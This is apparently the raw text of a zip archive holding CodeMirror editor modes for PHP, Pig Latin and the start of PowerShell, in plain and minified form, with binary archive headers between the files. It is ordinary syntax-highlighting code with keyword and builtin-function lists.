curl_multi_getcontent curl_multi_info_read curl_multi_init
curl_multi_remove_handle curl_multi_select curl_multi_setopt
curl_multi_strerror curl_pause curl_reset curl_setopt_array curl_setopt
curl_share_close curl_share_init curl_share_setopt curl_strerror
curl_unescape curl_version mysqli_affected_rows mysqli_autocommit
mysqli_change_user mysqli_character_set_name mysqli_close mysqli_commit
mysqli_connect_errno mysqli_connect_error mysqli_connect mysqli_data_seek
mysqli_debug mysqli_dump_debug_info mysqli_errno mysqli_error_list
mysqli_error mysqli_fetch_all mysqli_fetch_array mysqli_fetch_assoc
mysqli_fetch_field_direct mysqli_fetch_field mysqli_fetch_fields
mysqli_fetch_lengths mysqli_fetch_object mysqli_fetch_row
mysqli_field_count mysqli_field_seek mysqli_field_tell mysqli_free_result
mysqli_get_charset mysqli_get_client_info mysqli_get_client_stats
mysqli_get_client_version mysqli_get_connection_stats mysqli_get_host_info
mysqli_get_proto_info mysqli_get_server_info mysqli_get_server_version
mysqli_info mysqli_init mysqli_insert_id mysqli_kill mysqli_more_results
mysqli_multi_query mysqli_next_result mysqli_num_fields mysqli_num_rows
mysqli_options mysqli_ping mysqli_prepare mysqli_query mysqli_real_connect
mysqli_real_escape_string mysqli_real_query mysqli_reap_async_query
mysqli_refresh mysqli_rollback mysqli_select_db mysqli_set_charset
mysqli_set_local_infile_default mysqli_set_local_infile_handler
mysqli_sqlstate mysqli_ssl_set mysqli_stat mysqli_stmt_init
mysqli_store_result mysqli_thread_id mysqli_thread_safe mysqli_use_result
mysqli_warning_count";
  CodeMirror.registerHelper("hintWords", "php",
[phpKeywords, phpAtoms, phpBuiltin].join(" ").split("
"));
  CodeMirror.registerHelper("wordChars", "php",
/[\w$]/);

  var phpConfig = {
    name: "clike",
    helperType: "php",
    keywords: keywords(phpKeywords),
    blockKeywords: keywords("catch do else elseif for foreach if
switch try while finally"),
    defKeywords: keywords("class function interface namespace
trait"),
    atoms: keywords(phpAtoms),
    builtin: keywords(phpBuiltin),
    multiLineStrings: true,
    hooks: {
      "$": function(stream) {
        stream.eatWhile(/[\w\$_]/);
        return "variable-2";
      },
      "<": function(stream, state) {
        var before;
        if (before = stream.match(/<<\s*/)) {
          var quoted = stream.eat(/['"]/);
          stream.eatWhile(/[\w\.]/);
          var delim = stream.current().slice(before[0].length + (quoted ? 2
: 1));
          if (quoted) stream.eat(quoted);
          if (delim) {
            (state.tokStack || (state.tokStack = [])).push(delim, 0);
            state.tokenize = phpString(delim, quoted !=
"'");
            return "string";
          }
        }
        return false;
      },
      "#": function(stream) {
        while (!stream.eol() && !stream.match("?>",
false)) stream.next();
        return "comment";
      },
      "/": function(stream) {
        if (stream.eat("/")) {
          while (!stream.eol() && !stream.match("?>",
false)) stream.next();
          return "comment";
        }
        return false;
      },
      '"': function(_stream, state) {
        (state.tokStack || (state.tokStack = [])).push('"',
0);
        state.tokenize = phpString('"');
        return "string";
      },
      "{": function(_stream, state) {
        if (state.tokStack && state.tokStack.length)
          state.tokStack[state.tokStack.length - 1]++;
        return false;
      },
      "}": function(_stream, state) {
        if (state.tokStack && state.tokStack.length > 0
&&
            !--state.tokStack[state.tokStack.length - 1]) {
          state.tokenize = phpString(state.tokStack[state.tokStack.length -
2]);
        }
        return false;
      }
    }
  };

  CodeMirror.defineMode("php", function(config, parserConfig) {
    var htmlMode = CodeMirror.getMode(config, (parserConfig &&
parserConfig.htmlMode) || "text/html");
    var phpMode = CodeMirror.getMode(config, phpConfig);

    function dispatch(stream, state) {
      var isPHP = state.curMode == phpMode;
      if (stream.sol() && state.pending && state.pending !=
'"' && state.pending != "'")
state.pending = null;
      if (!isPHP) {
        if (stream.match(/^<\?\w*/)) {
          state.curMode = phpMode;
          if (!state.php) state.php = CodeMirror.startState(phpMode,
htmlMode.indent(state.html, "", ""))
          state.curState = state.php;
          return "meta";
        }
        if (state.pending == '"' || state.pending ==
"'") {
          while (!stream.eol() && stream.next() != state.pending)
{}
          var style = "string";
        } else if (state.pending && stream.pos <
state.pending.end) {
          stream.pos = state.pending.end;
          var style = state.pending.style;
        } else {
          var style = htmlMode.token(stream, state.curState);
        }
        if (state.pending) state.pending = null;
        var cur = stream.current(), openPHP = cur.search(/<\?/), m;
        if (openPHP != -1) {
          if (style == "string" && (m =
cur.match(/[\'\"]$/)) && !/\?>/.test(cur))
state.pending = m[0];
          else state.pending = {end: stream.pos, style: style};
          stream.backUp(cur.length - openPHP);
        }
        return style;
      } else if (isPHP && state.php.tokenize == null &&
stream.match("?>")) {
        state.curMode = htmlMode;
        state.curState = state.html;
        if (!state.php.context.prev) state.php = null;
        return "meta";
      } else {
        return phpMode.token(stream, state.curState);
      }
    }

    return {
      startState: function() {
        var html = CodeMirror.startState(htmlMode)
        var php = parserConfig.startOpen ? CodeMirror.startState(phpMode) :
null
        return {html: html,
                php: php,
                curMode: parserConfig.startOpen ? phpMode : htmlMode,
                curState: parserConfig.startOpen ? php : html,
                pending: null};
      },

      copyState: function(state) {
        var html = state.html, htmlNew = CodeMirror.copyState(htmlMode,
html),
            php = state.php, phpNew = php &&
CodeMirror.copyState(phpMode, php), cur;
        if (state.curMode == htmlMode) cur = htmlNew;
        else cur = phpNew;
        return {html: htmlNew, php: phpNew, curMode: state.curMode,
curState: cur,
                pending: state.pending};
      },

      token: dispatch,

      indent: function(state, textAfter, line) {
        if ((state.curMode != phpMode &&
/^\s*<\//.test(textAfter)) ||
            (state.curMode == phpMode &&
/^\?>/.test(textAfter)))
          return htmlMode.indent(state.html, textAfter, line);
        return state.curMode.indent(state.curState, textAfter, line);
      },

      blockCommentStart: "/*",
      blockCommentEnd: "*/",
      lineComment: "//",

      innerMode: function(state) { return {state: state.curState, mode:
state.curMode}; }
    };
  }, "htmlmixed", "clike");

  CodeMirror.defineMIME("application/x-httpd-php",
"php");
  CodeMirror.defineMIME("application/x-httpd-php-open", {name:
"php", startOpen: true});
  CodeMirror.defineMIME("text/x-php", phpConfig);
});
PKJ��[i�6�6codemirror/mode/php/php.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../htmlmixed/htmlmixed"),require("../clike/clike")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../htmlmixed/htmlmixed","../clike/clike"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){for(var b={},c=a.split("
"),d=0;d<c.length;++d)b[c[d]]=!0;return b}function c(a,b,e){return
0==a.length?d(b):function(f,g){for(var
h=a[0],i=0;i<h.length;i++)if(f.match(h[i][0]))return
g.tokenize=c(a.slice(1),b),h[i][1];return
g.tokenize=d(b,e),"string"}}function d(a,b){return
function(c,d){return e(c,d,a,b)}}function
e(a,b,d,e){if(!1!==e&&a.match("${",!1)||a.match("{$",!1))return
b.tokenize=null,"string";if(!1!==e&&a.match(/^\$[a-zA-Z_][a-zA-Z0-9_]*/))return
a.match("[",!1)&&(b.tokenize=c([[["[",null]],[[/\d[\w\.]*/,"number"],[/\$[a-zA-Z_][a-zA-Z0-9_]*/,"variable-2"],[/[\w\$]+/,"variable"]],[["]",null]]],d,e)),a.match(/\-\>\w/,!1)&&(b.tokenize=c([[["->",null]],[[/[\w]+/,"variable"]]],d,e)),"variable-2";for(var
f=!1;!a.eol()&&(f||!1===e||!a.match("{$",!1)&&!a.match(/^(\$[a-zA-Z_][a-zA-Z0-9_]*|\$\{)/,!1));){if(!f&&a.match(d)){b.tokenize=null,b.tokStack.pop(),b.tokStack.pop();break}f="\\"==a.next()&&!f}return"string"}var
f="abstract and array as break case catch class clone const continue
declare default do else elseif enddeclare endfor endforeach endif endswitch
endwhile extends final for foreach function global goto if implements
interface instanceof namespace new or private protected public static
switch throw trait try use var while xor die echo empty exit eval include
include_once isset list require require_once return print unset
__halt_compiler self static parent yield insteadof
finally",g="true false null TRUE FALSE NULL __CLASS__ __DIR__
__FILE__ __LINE__ __METHOD__ __FUNCTION__ __NAMESPACE__
__TRAIT__",h="func_num_args func_get_arg func_get_args strlen
strcmp strncmp strcasecmp strncasecmp each error_reporting define defined
trigger_error user_error set_error_handler restore_error_handler
get_declared_classes get_loaded_extensions extension_loaded
get_extension_funcs debug_backtrace constant bin2hex hex2bin sleep usleep
time mktime gmmktime strftime gmstrftime strtotime date gmdate getdate
localtime checkdate flush wordwrap htmlspecialchars htmlentities
html_entity_decode md5 md5_file crc32 getimagesize image_type_to_mime_type
phpinfo phpversion phpcredits strnatcmp strnatcasecmp substr_count strspn
strcspn strtok strtoupper strtolower strpos strrpos strrev hebrev hebrevc
nl2br basename dirname pathinfo stripslashes stripcslashes strstr stristr
strrchr str_shuffle str_word_count strcoll substr substr_replace quotemeta
ucfirst ucwords strtr addslashes addcslashes rtrim str_replace str_repeat
count_chars chunk_split trim ltrim strip_tags similar_text explode implode
setlocale localeconv parse_str str_pad chop strchr sprintf printf vprintf
vsprintf sscanf fscanf parse_url urlencode urldecode rawurlencode
rawurldecode readlink linkinfo link unlink exec system escapeshellcmd
escapeshellarg passthru shell_exec proc_open proc_close rand srand
getrandmax mt_rand mt_srand mt_getrandmax base64_decode base64_encode abs
ceil floor round is_finite is_nan is_infinite bindec hexdec octdec decbin
decoct dechex base_convert number_format fmod ip2long long2ip getenv putenv
getopt microtime gettimeofday getrusage uniqid quoted_printable_decode
set_time_limit get_cfg_var magic_quotes_runtime set_magic_quotes_runtime
get_magic_quotes_gpc get_magic_quotes_runtime import_request_variables
error_log serialize unserialize memory_get_usage var_dump var_export
debug_zval_dump print_r highlight_file show_source highlight_string ini_get
ini_get_all ini_set ini_alter ini_restore get_include_path set_include_path
restore_include_path setcookie header headers_sent connection_aborted
connection_status ignore_user_abort parse_ini_file is_uploaded_file
move_uploaded_file intval floatval doubleval strval gettype settype is_null
is_resource is_bool is_long is_float is_int is_integer is_double is_real
is_numeric is_string is_array is_object is_scalar ereg ereg_replace eregi
eregi_replace split spliti join sql_regcase dl pclose popen readfile rewind
rmdir umask fclose feof fgetc fgets fgetss fread fopen fpassthru ftruncate
fstat fseek ftell fflush fwrite fputs mkdir rename copy tempnam tmpfile
file file_get_contents file_put_contents stream_select
stream_context_create stream_context_set_params stream_context_set_option
stream_context_get_options stream_filter_prepend stream_filter_append
fgetcsv flock get_meta_tags stream_set_write_buffer set_file_buffer
set_socket_blocking stream_set_blocking socket_set_blocking
stream_get_meta_data stream_register_wrapper stream_wrapper_register
stream_set_timeout socket_set_timeout socket_get_status realpath fnmatch
fsockopen pfsockopen pack unpack get_browser crypt opendir closedir chdir
getcwd rewinddir readdir dir glob fileatime filectime filegroup fileinode
filemtime fileowner fileperms filesize filetype file_exists is_writable
is_writeable is_readable is_executable is_file is_dir is_link stat lstat
chown touch clearstatcache mail ob_start ob_flush ob_clean ob_end_flush
ob_end_clean ob_get_flush ob_get_clean ob_get_length ob_get_level
ob_get_status ob_get_contents ob_implicit_flush ob_list_handlers ksort
krsort natsort natcasesort asort arsort sort rsort usort uasort uksort
shuffle array_walk count end prev next reset current key min max in_array
array_search extract compact array_fill range array_multisort array_push
array_pop array_shift array_unshift array_splice array_slice array_merge
array_merge_recursive array_keys array_values array_count_values
array_reverse array_reduce array_pad array_flip array_change_key_case
array_rand array_unique array_intersect array_intersect_assoc array_diff
array_diff_assoc array_sum array_filter array_map array_chunk
array_key_exists array_intersect_key array_combine array_column pos sizeof
key_exists assert assert_options version_compare ftok str_rot13 aggregate
session_name session_module_name session_save_path session_id
session_regenerate_id session_decode session_register session_unregister
session_is_registered session_encode session_start session_destroy
session_unset session_set_save_handler session_cache_limiter
session_cache_expire session_set_cookie_params session_get_cookie_params
session_write_close preg_match preg_match_all preg_replace
preg_replace_callback preg_split preg_quote preg_grep overload ctype_alnum
ctype_alpha ctype_cntrl ctype_digit ctype_lower ctype_graph ctype_print
ctype_punct ctype_space ctype_upper ctype_xdigit virtual
apache_request_headers apache_note apache_lookup_uri apache_child_terminate
apache_setenv apache_response_headers apache_get_version getallheaders
mysql_connect mysql_pconnect mysql_close mysql_select_db mysql_create_db
mysql_drop_db mysql_query mysql_unbuffered_query mysql_db_query
mysql_list_dbs mysql_list_tables mysql_list_fields mysql_list_processes
mysql_error mysql_errno mysql_affected_rows mysql_insert_id mysql_result
mysql_num_rows mysql_num_fields mysql_fetch_row mysql_fetch_array
mysql_fetch_assoc mysql_fetch_object mysql_data_seek mysql_fetch_lengths
mysql_fetch_field mysql_field_seek mysql_free_result mysql_field_name
mysql_field_table mysql_field_len mysql_field_type mysql_field_flags
mysql_escape_string mysql_real_escape_string mysql_stat mysql_thread_id
mysql_client_encoding mysql_get_client_info mysql_get_host_info
mysql_get_proto_info mysql_get_server_info mysql_info mysql mysql_fieldname
mysql_fieldtable mysql_fieldlen mysql_fieldtype mysql_fieldflags
mysql_selectdb mysql_createdb mysql_dropdb mysql_freeresult mysql_numfields
mysql_numrows mysql_listdbs mysql_listtables mysql_listfields mysql_db_name
mysql_dbname mysql_tablename mysql_table_name pg_connect pg_pconnect
pg_close pg_connection_status pg_connection_busy pg_connection_reset
pg_host pg_dbname pg_port pg_tty pg_options pg_ping pg_query pg_send_query
pg_cancel_query pg_fetch_result pg_fetch_row pg_fetch_assoc pg_fetch_array
pg_fetch_object pg_fetch_all pg_affected_rows pg_get_result pg_result_seek
pg_result_status pg_free_result pg_last_oid pg_num_rows pg_num_fields
pg_field_name pg_field_num pg_field_size pg_field_type pg_field_prtlen
pg_field_is_null pg_get_notify pg_get_pid pg_result_error pg_last_error
pg_last_notice pg_put_line pg_end_copy pg_copy_to pg_copy_from pg_trace
pg_untrace pg_lo_create pg_lo_unlink pg_lo_open pg_lo_close pg_lo_read
pg_lo_write pg_lo_read_all pg_lo_import pg_lo_export pg_lo_seek pg_lo_tell
pg_escape_string pg_escape_bytea pg_unescape_bytea pg_client_encoding
pg_set_client_encoding pg_meta_data pg_convert pg_insert pg_update
pg_delete pg_select pg_exec pg_getlastoid pg_cmdtuples pg_errormessage
pg_numrows pg_numfields pg_fieldname pg_fieldsize pg_fieldtype pg_fieldnum
pg_fieldprtlen pg_fieldisnull pg_freeresult pg_result pg_loreadall
pg_locreate pg_lounlink pg_loopen pg_loclose pg_loread pg_lowrite
pg_loimport pg_loexport http_response_code get_declared_traits
getimagesizefromstring socket_import_stream stream_set_chunk_size
trait_exists header_register_callback class_uses session_status
session_register_shutdown echo print global static exit array empty eval
isset unset die include require include_once require_once json_decode
json_encode json_last_error json_last_error_msg curl_close curl_copy_handle
curl_errno curl_error curl_escape curl_exec curl_file_create curl_getinfo
curl_init curl_multi_add_handle curl_multi_close curl_multi_exec
curl_multi_getcontent curl_multi_info_read curl_multi_init
curl_multi_remove_handle curl_multi_select curl_multi_setopt
curl_multi_strerror curl_pause curl_reset curl_setopt_array curl_setopt
curl_share_close curl_share_init curl_share_setopt curl_strerror
curl_unescape curl_version mysqli_affected_rows mysqli_autocommit
mysqli_change_user mysqli_character_set_name mysqli_close mysqli_commit
mysqli_connect_errno mysqli_connect_error mysqli_connect mysqli_data_seek
mysqli_debug mysqli_dump_debug_info mysqli_errno mysqli_error_list
mysqli_error mysqli_fetch_all mysqli_fetch_array mysqli_fetch_assoc
mysqli_fetch_field_direct mysqli_fetch_field mysqli_fetch_fields
mysqli_fetch_lengths mysqli_fetch_object mysqli_fetch_row
mysqli_field_count mysqli_field_seek mysqli_field_tell mysqli_free_result
mysqli_get_charset mysqli_get_client_info mysqli_get_client_stats
mysqli_get_client_version mysqli_get_connection_stats mysqli_get_host_info
mysqli_get_proto_info mysqli_get_server_info mysqli_get_server_version
mysqli_info mysqli_init mysqli_insert_id mysqli_kill mysqli_more_results
mysqli_multi_query mysqli_next_result mysqli_num_fields mysqli_num_rows
mysqli_options mysqli_ping mysqli_prepare mysqli_query mysqli_real_connect
mysqli_real_escape_string mysqli_real_query mysqli_reap_async_query
mysqli_refresh mysqli_rollback mysqli_select_db mysqli_set_charset
mysqli_set_local_infile_default mysqli_set_local_infile_handler
mysqli_sqlstate mysqli_ssl_set mysqli_stat mysqli_stmt_init
mysqli_store_result mysqli_thread_id mysqli_thread_safe mysqli_use_result
mysqli_warning_count";a.registerHelper("hintWords","php",[f,g,h].join("
").split("
")),a.registerHelper("wordChars","php",/[\w$]/);var
i={name:"clike",helperType:"php",keywords:b(f),blockKeywords:b("catch
do else elseif for foreach if switch try while
finally"),defKeywords:b("class function interface namespace
trait"),atoms:b(g),builtin:b(h),multiLineStrings:!0,hooks:{$:function(a){return
a.eatWhile(/[\w\$_]/),"variable-2"},"<":function(a,b){var
c;if(c=a.match(/<<\s*/)){var
e=a.eat(/['"]/);a.eatWhile(/[\w\.]/);var
f=a.current().slice(c[0].length+(e?2:1));if(e&&a.eat(e),f)return(b.tokStack||(b.tokStack=[])).push(f,0),b.tokenize=d(f,"'"!=e),"string"}return!1},"#":function(a){for(;!a.eol()&&!a.match("?>",!1);)a.next();return"comment"},"/":function(a){if(a.eat("/")){for(;!a.eol()&&!a.match("?>",!1);)a.next();return"comment"}return!1},'"':function(a,b){return(b.tokStack||(b.tokStack=[])).push('"',0),b.tokenize=d('"'),"string"},"{":function(a,b){return
b.tokStack&&b.tokStack.length&&b.tokStack[b.tokStack.length-1]++,!1},"}":function(a,b){return
b.tokStack&&b.tokStack.length>0&&!--b.tokStack[b.tokStack.length-1]&&(b.tokenize=d(b.tokStack[b.tokStack.length-2])),!1}}};a.defineMode("php",(function(b,c){function
d(b,c){var
d=c.curMode==f;if(b.sol()&&c.pending&&'"'!=c.pending&&"'"!=c.pending&&(c.pending=null),d)return
d&&null==c.php.tokenize&&b.match("?>")?(c.curMode=e,c.curState=c.html,c.php.context.prev||(c.php=null),"meta"):f.token(b,c.curState);if(b.match(/^<\?\w*/))return
c.curMode=f,c.php||(c.php=a.startState(f,e.indent(c.html,"",""))),c.curState=c.php,"meta";if('"'==c.pending||"'"==c.pending){for(;!b.eol()&&b.next()!=c.pending;);var
g="string"}else
if(c.pending&&b.pos<c.pending.end){b.pos=c.pending.end;var
g=c.pending.style}else var
g=e.token(b,c.curState);c.pending&&(c.pending=null);var
h,i=b.current(),j=i.search(/<\?/);return-1!=j&&("string"==g&&(h=i.match(/[\'\"]$/))&&!/\?>/.test(i)?c.pending=h[0]:c.pending={end:b.pos,style:g},b.backUp(i.length-j)),g}var
e=a.getMode(b,c&&c.htmlMode||"text/html"),f=a.getMode(b,i);return{startState:function(){var
b=a.startState(e),d=c.startOpen?a.startState(f):null;return{html:b,php:d,curMode:c.startOpen?f:e,curState:c.startOpen?d:b,pending:null}},copyState:function(b){var
c,d=b.html,g=a.copyState(e,d),h=b.php,i=h&&a.copyState(f,h);return
c=b.curMode==e?g:i,{html:g,php:i,curMode:b.curMode,curState:c,pending:b.pending}},token:d,indent:function(a,b,c){return
a.curMode!=f&&/^\s*<\//.test(b)||a.curMode==f&&/^\?>/.test(b)?e.indent(a.html,b,c):a.curMode.indent(a.curState,b,c)},blockCommentStart:"/*",blockCommentEnd:"*/",lineComment:"//",innerMode:function(a){return{state:a.curState,mode:a.curMode}}}}),"htmlmixed","clike"),a.defineMIME("application/x-httpd-php","php"),a.defineMIME("application/x-httpd-php-open",{name:"php",startOpen:!0}),a.defineMIME("text/x-php",i)}));PKJ��[��U��codemirror/mode/pig/pig.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

/*
 *      Pig Latin Mode for CodeMirror 2
 *      @author Prasanth Jayachandran
 *      @link   https://github.com/prasanthj/pig-codemirror-2
 *  This implementation is adapted from PL/SQL mode in CodeMirror 2.
 */
(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("pig", function(_config, parserConfig) {
  var keywords = parserConfig.keywords,
  builtins = parserConfig.builtins,
  types = parserConfig.types,
  multiLineStrings = parserConfig.multiLineStrings;

  var isOperatorChar = /[*+\-%<>=&?:\/!|]/;

  function chain(stream, state, f) {
    state.tokenize = f;
    return f(stream, state);
  }

  function tokenComment(stream, state) {
    var isEnd = false;
    var ch;
    while(ch = stream.next()) {
      if(ch == "/" && isEnd) {
        state.tokenize = tokenBase;
        break;
      }
      isEnd = (ch == "*");
    }
    return "comment";
  }

  function tokenString(quote) {
    return function(stream, state) {
      var escaped = false, next, end = false;
      while((next = stream.next()) != null) {
        if (next == quote && !escaped) {
          end = true; break;
        }
        escaped = !escaped && next == "\\";
      }
      if (end || !(escaped || multiLineStrings))
        state.tokenize = tokenBase;
      return "error";
    };
  }


  function tokenBase(stream, state) {
    var ch = stream.next();

    // is a start of string?
    if (ch == '"' || ch == "'")
      return chain(stream, state, tokenString(ch));
    // is it one of the special chars
    else if(/[\[\]{}\(\),;\.]/.test(ch))
      return null;
    // is it a number?
    else if(/\d/.test(ch)) {
      stream.eatWhile(/[\w\.]/);
      return "number";
    }
    // multi line comment or operator
    else if (ch == "/") {
      if (stream.eat("*")) {
        return chain(stream, state, tokenComment);
      }
      else {
        stream.eatWhile(isOperatorChar);
        return "operator";
      }
    }
    // single line comment or operator
    else if (ch=="-") {
      if(stream.eat("-")){
        stream.skipToEnd();
        return "comment";
      }
      else {
        stream.eatWhile(isOperatorChar);
        return "operator";
      }
    }
    // is it an operator
    else if (isOperatorChar.test(ch)) {
      stream.eatWhile(isOperatorChar);
      return "operator";
    }
    else {
      // get the while word
      stream.eatWhile(/[\w\$_]/);
      // is it one of the listed keywords?
      if (keywords &&
keywords.propertyIsEnumerable(stream.current().toUpperCase())) {
        //keywords can be used as variables like flatten(group), group.$0
etc..
        if (!stream.eat(")") &&
!stream.eat("."))
          return "keyword";
      }
      // is it one of the builtin functions?
      if (builtins &&
builtins.propertyIsEnumerable(stream.current().toUpperCase()))
        return "variable-2";
      // is it one of the listed types?
      if (types &&
types.propertyIsEnumerable(stream.current().toUpperCase()))
        return "variable-3";
      // default is a 'variable'
      return "variable";
    }
  }

  // Interface
  return {
    startState: function() {
      return {
        tokenize: tokenBase,
        startOfLine: true
      };
    },

    token: function(stream, state) {
      if(stream.eatSpace()) return null;
      var style = state.tokenize(stream, state);
      return style;
    }
  };
});

(function() {
  function keywords(str) {
    var obj = {}, words = str.split(" ");
    for (var i = 0; i < words.length; ++i) obj[words[i]] = true;
    return obj;
  }

  // builtin funcs taken from trunk revision 1303237
  var pBuiltins = "ABS ACOS ARITY ASIN ATAN AVG BAGSIZE BINSTORAGE
BLOOM BUILDBLOOM CBRT CEIL "
    + "CONCAT COR COS COSH COUNT COUNT_STAR COV CONSTANTSIZE
CUBEDIMENSIONS DIFF DISTINCT DOUBLEABS "
    + "DOUBLEAVG DOUBLEBASE DOUBLEMAX DOUBLEMIN DOUBLEROUND DOUBLESUM
EXP FLOOR FLOATABS FLOATAVG "
    + "FLOATMAX FLOATMIN FLOATROUND FLOATSUM GENERICINVOKER INDEXOF
INTABS INTAVG INTMAX INTMIN "
    + "INTSUM INVOKEFORDOUBLE INVOKEFORFLOAT INVOKEFORINT
INVOKEFORLONG INVOKEFORSTRING INVOKER "
    + "ISEMPTY JSONLOADER JSONMETADATA JSONSTORAGE LAST_INDEX_OF
LCFIRST LOG LOG10 LOWER LONGABS "
    + "LONGAVG LONGMAX LONGMIN LONGSUM MAX MIN MAPSIZE MONITOREDUDF
NONDETERMINISTIC OUTPUTSCHEMA  "
    + "PIGSTORAGE PIGSTREAMING RANDOM REGEX_EXTRACT REGEX_EXTRACT_ALL
REPLACE ROUND SIN SINH SIZE "
    + "SQRT STRSPLIT SUBSTRING SUM STRINGCONCAT STRINGMAX STRINGMIN
STRINGSIZE TAN TANH TOBAG "
    + "TOKENIZE TOMAP TOP TOTUPLE TRIM TEXTLOADER TUPLESIZE UCFIRST
UPPER UTF8STORAGECONVERTER ";

  // taken from QueryLexer.g
  var pKeywords = "VOID IMPORT RETURNS DEFINE LOAD FILTER FOREACH
ORDER CUBE DISTINCT COGROUP "
    + "JOIN CROSS UNION SPLIT INTO IF OTHERWISE ALL AS BY USING INNER
OUTER ONSCHEMA PARALLEL "
    + "PARTITION GROUP AND OR NOT GENERATE FLATTEN ASC DESC IS STREAM
THROUGH STORE MAPREDUCE "
    + "SHIP CACHE INPUT OUTPUT STDERROR STDIN STDOUT LIMIT SAMPLE LEFT
RIGHT FULL EQ GT LT GTE LTE "
    + "NEQ MATCHES TRUE FALSE DUMP";

  // data types
  var pTypes = "BOOLEAN INT LONG FLOAT DOUBLE CHARARRAY BYTEARRAY BAG
TUPLE MAP ";

  CodeMirror.defineMIME("text/x-pig", {
    name: "pig",
    builtins: keywords(pBuiltins),
    keywords: keywords(pKeywords),
    types: keywords(pTypes)
  });

  CodeMirror.registerHelper("hintWords", "pig",
(pBuiltins + pTypes + pKeywords).split(" "));
}());

});
PKJ��[gK��NNcodemirror/mode/pig/pig.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("pig",(function(a,b){function
c(a,b,c){return b.tokenize=c,c(a,b)}function d(a,b){for(var
c,d=!1;c=a.next();){if("/"==c&&d){b.tokenize=f;break}d="*"==c}return"comment"}function
e(a){return function(b,c){for(var
d,e=!1,g=!1;null!=(d=b.next());){if(d==a&&!e){g=!0;break}e=!e&&"\\"==d}return(g||!e&&!j)&&(c.tokenize=f),"error"}}function
f(a,b){var
f=a.next();return'"'==f||"'"==f?c(a,b,e(f)):/[\[\]{}\(\),;\.]/.test(f)?null:/\d/.test(f)?(a.eatWhile(/[\w\.]/),"number"):"/"==f?a.eat("*")?c(a,b,d):(a.eatWhile(k),"operator"):"-"==f?a.eat("-")?(a.skipToEnd(),"comment"):(a.eatWhile(k),"operator"):k.test(f)?(a.eatWhile(k),"operator"):(a.eatWhile(/[\w\$_]/),g&&g.propertyIsEnumerable(a.current().toUpperCase())&&!a.eat(")")&&!a.eat(".")?"keyword":h&&h.propertyIsEnumerable(a.current().toUpperCase())?"variable-2":i&&i.propertyIsEnumerable(a.current().toUpperCase())?"variable-3":"variable")}var
g=b.keywords,h=b.builtins,i=b.types,j=b.multiLineStrings,k=/[*+\-%<>=&?:\/!|]/;return{startState:function(){return{tokenize:f,startOfLine:!0}},token:function(a,b){return
a.eatSpace()?null:b.tokenize(a,b)}}})),(function(){function b(a){for(var
b={},c=a.split(" "),d=0;d<c.length;++d)b[c[d]]=!0;return b}var
c="ABS ACOS ARITY ASIN ATAN AVG BAGSIZE BINSTORAGE BLOOM BUILDBLOOM
CBRT CEIL CONCAT COR COS COSH COUNT COUNT_STAR COV CONSTANTSIZE
CUBEDIMENSIONS DIFF DISTINCT DOUBLEABS DOUBLEAVG DOUBLEBASE DOUBLEMAX
DOUBLEMIN DOUBLEROUND DOUBLESUM EXP FLOOR FLOATABS FLOATAVG FLOATMAX
FLOATMIN FLOATROUND FLOATSUM GENERICINVOKER INDEXOF INTABS INTAVG INTMAX
INTMIN INTSUM INVOKEFORDOUBLE INVOKEFORFLOAT INVOKEFORINT INVOKEFORLONG
INVOKEFORSTRING INVOKER ISEMPTY JSONLOADER JSONMETADATA JSONSTORAGE
LAST_INDEX_OF LCFIRST LOG LOG10 LOWER LONGABS LONGAVG LONGMAX LONGMIN
LONGSUM MAX MIN MAPSIZE MONITOREDUDF NONDETERMINISTIC OUTPUTSCHEMA 
PIGSTORAGE PIGSTREAMING RANDOM REGEX_EXTRACT REGEX_EXTRACT_ALL REPLACE
ROUND SIN SINH SIZE SQRT STRSPLIT SUBSTRING SUM STRINGCONCAT STRINGMAX
STRINGMIN STRINGSIZE TAN TANH TOBAG TOKENIZE TOMAP TOP TOTUPLE TRIM
TEXTLOADER TUPLESIZE UCFIRST UPPER UTF8STORAGECONVERTER ",d="VOID
IMPORT RETURNS DEFINE LOAD FILTER FOREACH ORDER CUBE DISTINCT COGROUP JOIN
CROSS UNION SPLIT INTO IF OTHERWISE ALL AS BY USING INNER OUTER ONSCHEMA
PARALLEL PARTITION GROUP AND OR NOT GENERATE FLATTEN ASC DESC IS STREAM
THROUGH STORE MAPREDUCE SHIP CACHE INPUT OUTPUT STDERROR STDIN STDOUT LIMIT
SAMPLE LEFT RIGHT FULL EQ GT LT GTE LTE NEQ MATCHES TRUE FALSE
DUMP",e="BOOLEAN INT LONG FLOAT DOUBLE CHARARRAY BYTEARRAY BAG
TUPLE MAP
";a.defineMIME("text/x-pig",{name:"pig",builtins:b(c),keywords:b(d),types:b(e)}),a.registerHelper("hintWords","pig",(c+e+d).split("
"))})()}));PKJ��[W�Aw2w2(codemirror/mode/powershell/powershell.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  'use strict';
  if (typeof exports == 'object' && typeof module ==
'object') // CommonJS
    mod(require('../../lib/codemirror'));
  else if (typeof define == 'function' && define.amd) //
AMD
    define(['../../lib/codemirror'], mod);
  else // Plain browser env
    mod(window.CodeMirror);
})(function(CodeMirror) {
'use strict';

CodeMirror.defineMode('powershell', function() {
  function buildRegexp(patterns, options) {
    options = options || {};
    var prefix = options.prefix !== undefined ? options.prefix :
'^';
    var suffix = options.suffix !== undefined ? options.suffix :
'\\b';

    for (var i = 0; i < patterns.length; i++) {
      if (patterns[i] instanceof RegExp) {
        patterns[i] = patterns[i].source;
      }
      else {
        patterns[i] = patterns[i].replace(/[-\/\\^$*+?.()|[\]{}]/g,
'\\$&');
      }
    }

    return new RegExp(prefix + '(' + patterns.join('|')
+ ')' + suffix, 'i');
  }

